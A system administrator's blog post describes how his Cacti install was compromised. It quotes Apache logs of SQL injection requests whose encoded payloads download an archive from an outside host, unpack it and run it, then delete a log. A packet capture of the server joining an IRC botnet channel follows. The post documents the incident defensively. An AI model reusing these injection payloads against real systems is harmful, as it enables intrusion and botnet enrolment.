With some help, I find the vulnerability

Secunia says Cacti has four known vulnerabilities. I had forgotten that I had installed Cacti when I was trying to count the pages I had printed and compare those results those from my HP printer. Same IP as my computer was IRCing to. I should start tracking changes so I can have a record of what was changed, when it was changed, and if I granted myself access.

Here's the log files from apache:

213.189.5.233 - - [21/May/2007:14:44:14 -0400] "GET /cacti/ HTTP/1.0" 200 1327 "-" "-"
213.189.5.233 - - [22/May/2007:04:08:21 -0400] "GET /cacti/cmd.php?1+1111)/**/UNION/**/SELECT/**/2,0,1,1,CHAR(49,50,55,46,48,46,48,46,49),null,1,null,null,161,500,CHAR(112,114,111,99),null,1,300,0,CHAR(32,119,103,101,116,32,104,116,116,112,58,47,47,105,99,101,109,97,110,46,109,97,114,116,101,46,114,111,47,103,46,106,112,103,32,45,79,32,47,116,109,112,47,103,46,106,112,103,59,116,97,114,32,120,122,118,102,32,47,116,109,112,47,103,46,106,112,103,32,45,67,32,47,116,109,112,59,47,116,109,112,47,103,111,32,62,32,46,47,114,114,97,47,115,117,110,116,122,117,46,108,111,103),null,null/**/FROM/**/host/*+11111 HTTP/1.0" 200 18 "-" "-"
213.189.5.233 - - [22/May/2007:04:17:07 -0400] "GET /cacti/cmd.php?1+1111)/**/UNION/**/SELECT/**/2,0,1,1,CHAR(49,50,55,46,48,46,48,46,49),null,1,null,null,161,500,CHAR(112,114,111,99),null,1,300,0,CHAR(32,102,101,116,99,104,32,45,111,32,47,116,109,112,47,103,111,46,106,112,103,32,104,116,116,112,58,47,47,105,99,101,109,97,110,46,109,97,114,116,101,46,114,111,47,103,111,46,106,112,103,59,116,97,114,32,120,122,118,102,32,47,116,109,112,47,103,111,46,106,112,103,32,45,67,32,47,116,109,112,59,47,116,109,112,47,103,111,32,62,32,46,47,114,114,97,47,115,117,110,116,122,117,46,108,111,103),null,null/**/FROM/**/host/*+11111 HTTP/1.0" 200 18 "-" "-"
213.189.5.233 - - [22/May/2007:04:17:09 -0400] "GET /cacti/rra/suntzu.log HTTP/1.0" 404 296 "-" "-"
213.189.5.233 - - [22/May/2007:04:17:09 -0400] "GET /cacti/cmd.php?1+1111)/**/UNION/**/SELECT/**/2,0,1,1,CHAR(49,50,55,46,48,46,48,46,49),null,1,null,null,161,500,CHAR(112,114,111,99),null,1,300,0,CHAR(114,109,32,46,47,114,114,97,47,115,117,110,116,122,117,46,108,111,103),null,null/**/FROM/**/host/*+11111 HTTP/1.0" 200 18 "-" "-"

Apparently, that was all it took for my server to be compromised.

Also, I saved the tcpdump from my previous post as an HTML file for people that had trouble with it.

I Catch the Hackers in the Act

IIf you've ever wondered exactly how a vulnerability is exploited, or how botnets happen, check the below. Keep in mind that my system is up-to-date on just about everything I can find to update on it. I've also informed the abuse address of the IP in question about what was going on over a month ago, and the rogue server is still out there, relaying information from compromised Linux servers.

I keep a lot of outbound ports closed so that if one of my servers is compromised, it doesn't become another bot on the net. I finally caught the process again, so I started a capture and then opened the ports. I'm not sure what to make of it because the IP address in question goes back to what appears to be a dedicated server in Italy, but the login information says it's a NASA IRC server. What NASA would be doing on serving IRC to the public is beyond me, unless it's a honeypot. It's probably not a real NASA server, at least that's what I hope. Anyway, here are the fun details of what happens when my server tries to call home to its haxor:

The packet analysis also reveals a clue about the origin of the hack: Mihai is the Romanian version of Michael.

Download the uncensored TCPDump file and see for yourself.

My server: SYN
213.92.118.223 223-118-92-213.serverdedicati.seflow.net ACK
my server: ACK SYN
my server: ...i
my server: NICK a3sh-.
my server: ....
my server: FF 86 C5 CD
my server: ....
my server: USER nh2ies x.x.x.x 213.92.118.223 :Linux mrtg.sampas.net 2.6.9-42.0.10.ELsmp #1 SMP Fri Feb 16 17:17:21 EST 2007 i686 i686 i386 GNU/Linux.
my server: ....
my server: PONG :1041065789.
my server: (ACK)
my server: NICK a3sh-685.
my server: JOIN #mihai.


46 a3sh-6682 a3sh-8430 a3sh-700 a3sh-4929 a3sh-9957 a3sh-9284 a3sh-1775 +a3sh-3250 a3sh-2594 a3sh-3037 a3sh-3353 a3sh-2931 a3sh-366 a3sh-934 a3sh-1772 a3sh-8760 a3sh-7777..:www.nasa.gov 353 a3sh-685 = #mihai :a3sh-8519 a3sh-8691 a3sh-9382 a3sh-3749 a3sh-8126 a3sh-5627 a3sh-1038 a3sh-3316 a3sh-5240 a3sh-379 a3sh-6854 a3sh-9518 a3sh-1493 a3sh-7073 a3sh-9670 +a3sh-3201 a3sh-7933 a3sh-4989 a3sh-960 a3sh-3584 a3sh-7571 a3sh-9905 a3sh-6198 a3sh-9436 a3sh-7021 a3sh-9951 a3sh-43 a3sh-1578 @a3sh-..:www.nasa.gov 366 a3sh-685 #mihai :End of /NAMES list...